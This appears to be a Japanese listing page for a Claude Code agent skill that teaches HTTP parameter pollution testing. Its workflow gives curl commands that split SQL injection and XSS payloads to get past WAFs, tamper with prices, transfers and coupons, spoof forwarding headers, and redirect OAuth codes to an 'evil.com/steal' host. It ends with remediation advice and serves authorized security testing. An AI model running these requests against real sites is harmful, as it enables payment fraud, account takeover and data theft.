performing-http-parameter-pollution-attack について
WebアプリやAPIのHTTP Parameter Pollution(HPP)を評価するセキュリティテスト用スキルです。重複パラメーターの処理確認、ペイロードテスト、許可を得た評価の報告方法を扱います。
主な機能
- 01重複パラメーターの処理比較
- 02サーバー側・クライアント側HPPのテスト
- 03WAFと入力検証の回避評価
- 04OAuthと決済フローの確認
- 05セキュリティツールによるテスト自動化
活用シーン
- 01Web技術スタックの重複パラメーター解析の確認
- 02分割ペイロードに対するWAFの評価
- 03OAuthや決済リクエストのパラメーター優先順位のテスト
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill performing-http-parameter-pollution-attackインストール後、Claude Code で/performing-http-parameter-pollution-attackを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
HTTP パラメータ汚染攻撃の実施
使用する場面
- 入力検証のバイパス脆弱性について、Web アプリケーションをテストするとき
- 重複パラメータに攻撃ペイロードを分割する WAF 回避テスト中
- さまざまな技術スタックが重複した HTTP パラメータをどのように処理するかを評価するとき
- パラメータの優先順位に関する問題を特定する API セキュリティテスト中
- OAuth や決済処理のフローでパラメータ操作をテストするとき
前提条件
- Intruder および Repeater モジュールを備えた Burp Suite Professional
- HTTP プロトコルとクエリ文字列の解析に関する理解
- サーバー側のパラメータ処理の違い(最初、最後、配列、連結)に関する知識
- パラメータを手動で作成するための cURL または httpie
- 対象アプリケーションの技術スタックの特定(Apache、IIS、Tomcat、Node.js など)
**法的通知:**このスキルは、許可を得たセキュリティテストおよび教育目的に限り使用してください。所有していないシステム、またはテストの書面による許可を得ていないシステムに対する無許可の使用は違法であり、コンピューター詐欺に関する法律に違反するおそれがあります。
ワークフロー
ステップ 1 — パラメータ処理の挙動を特定する
# Test how the server handles duplicate parameters
# Different servers process duplicates differently:
# Apache/PHP: Last parameter value
# ASP.NET/IIS: All values concatenated with comma
# JSP/Tomcat: First parameter value
# Node.js/Express: Array of values
# Python/Flask: First parameter value
curl -v "http://target.com/search?q=first&q=second"
# Observe which value the application uses in the response
# Test POST body duplicate parameters
curl -X POST http://target.com/api/action \
-d "amount=100&amount=1"
ステップ 2 — サーバー側 HPP を実行する
# Bypass input validation by splitting payload
# Original blocked payload: id=1 OR 1=1
curl "http://target.com/api/user?id=1%20OR%201%3D1" # Blocked by WAF
# HPP bypass: split across duplicate parameters
curl "http://target.com/api/user?id=1%20OR&id=1%3D1" # May bypass WAF
# Parameter pollution in POST body
curl -X POST http://target.com/transfer \
-d "to_account=victim&amount=100&to_account=attacker"
# Override security-critical parameters
curl -X POST http://target.com/api/payment \
-d "price=99.99¤cy=USD&price=0.01"
ステップ 3 — クライアント側 HPP を実行する
# Client-side HPP via URL manipulation
# If application reflects parameters in links:
# Original: http://target.com/page?param=value
# Inject: http://target.com/page?param=value%26injected_param=evil_value
# Social sharing URL manipulation
curl "http://target.com/share?url=http://legit.com%26callback=http://evil.com"
# Inject into embedded links
curl "http://target.com/redirect?url=http://trusted.com%26token=stolen_value"
ステップ 4 — HPP を使用して WAF ルールを回避する
# WAF typically inspects individual parameter values
# Split SQL injection across parameters
curl "http://target.com/search?q=1' UNION&q=SELECT password FROM users--"
# Split XSS payload
curl "http://target.com/search?q=<script>&q=alert(1)</script>"
# URL-encoded HPP bypass
curl "http://target.com/api/data?filter=admin%26role=superadmin"
# HPP in HTTP headers
curl -H "X-Forwarded-For: 127.0.0.1" \
-H "X-Forwarded-For: attacker-ip" \
http://target.com/api/admin
ステップ 5 — OAuth および決済フローの HPP をテストする
# OAuth authorization code HPP
# Inject duplicate redirect_uri to steal authorization code
curl "http://target.com/oauth/authorize?client_id=legit&redirect_uri=https://legit.com/callback&redirect_uri=https://evil.com/steal"
# Payment amount manipulation
curl -X POST http://target.com/api/checkout \
-d "item=product1&price=100&quantity=1&price=1"
# Coupon code HPP
curl -X POST http://target.com/api/apply-coupon \
-d "coupon=SAVE10&coupon=SAVE90&coupon=FREE"
ステップ 6 — HPP テストを自動化する
# Use Burp Intruder with parameter duplication
# In Burp Repeater, manually add duplicate parameters
# Use param-miner Burp extension for automated discovery
# Test with OWASP ZAP HPP scanner
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' \
http://target.com
# Custom testing with Python
python3 hpp_tester.py --url http://target.com/api/action \
--params "id,role,amount" --method POST
主な概念
| 概念 | 説明 |
|---|---|
| サーバー側 HPP | 重複パラメータがバックエンドで異なる方法で処理され、ロジックのバイパスを引き起こします |
| クライアント側 HPP | 挿入されたパラメータが、ほかのユーザーに送信される URL やリンクに反映されます |
| パラメータの優先順位 | サーバーの挙動:最初を優先、最後を優先、連結、または配列 |
| WAF 回避 | 検知を避けるため、攻撃ペイロードを重複パラメータに分割します |
| 技術固有の解析 | フレームワークによって、重複パラメータの処理方法が異なります |
| URL エンコーディング HPP | %26(エンコードされた &)を使用して、値の中に追加パラメータを挿入します |
| ヘッダー汚染 | 重複した HTTP ヘッダーを送信し、転送処理や信頼ロジックを悪用します |
ツールとシステム
| ツール | 目的 |
|---|---|
| Burp Suite | パラメータを傍受して複製する HTTP プロキシ |
| param-miner | 隠しパラメータや重複パラメータを検出する Burp 拡張機能 |
| OWASP ZAP | HPP 検出機能を備えた自動スキャナー |
| Arjun | 隠れた HTTP パラメータを検出するツール |
| ffuf | パラメータの総当たりと重複テストを行うファジングツール |
| Wfuzz | パラメータ操作に対応した Web アプリケーションファザー |
よくあるシナリオ
- WAF バイパス — WAF が値を個別に検査する一方でサーバーが値を連結する場合、SQL インジェクションや XSS のペイロードを重複パラメータに分割します
- 決済操作 — 重複したパラメータ値を送信し、EC サイトのチェックアウトフローで価格や数量のパラメータを上書きします
- OAuth リダイレクトの乗っ取り — 重複した redirect_uri パラメータを挿入し、認可コードを攻撃者が管理するサーバーにリダイレクトします
- アクセス制御のバイパス — リクエスト内のロールや権限パラメータを上書きし、権限を昇格させたり、制限されたリソースにアクセスしたりします
- 入力検証のバイパス — 想定外の重複パラメータを挿入し、クライアント側またはサーバー側の検証を回避します
出力形式
## HTTP Parameter Pollution Assessment Report
- **Target**: http://target.com
- **Server Technology**: ASP.NET/IIS (concatenation behavior)
- **Vulnerability**: Server-Side HPP in payment endpoint
### Parameter Handling Matrix
| Technology | Behavior | Tested |
|-----------|----------|--------|
| Apache/PHP | Last value | Yes |
| IIS/ASP.NET | Comma-concatenated | Yes |
| Node.js | Array | Yes |
### Findings
| # | Endpoint | Parameter | Impact | Severity |
|---|----------|-----------|--------|----------|
| 1 | POST /checkout | price | Price manipulation | Critical |
| 2 | GET /oauth/authorize | redirect_uri | Token theft | High |
| 3 | POST /api/search | q | WAF bypass (SQLi) | High |
### Remediation
- Implement strict parameter validation rejecting duplicate parameters
- Use the first occurrence of any parameter and ignore subsequent duplicates
- Apply WAF rules that detect duplicate parameter patterns
- Validate all parameters server-side regardless of client-side checks
コメント
Markdown 対応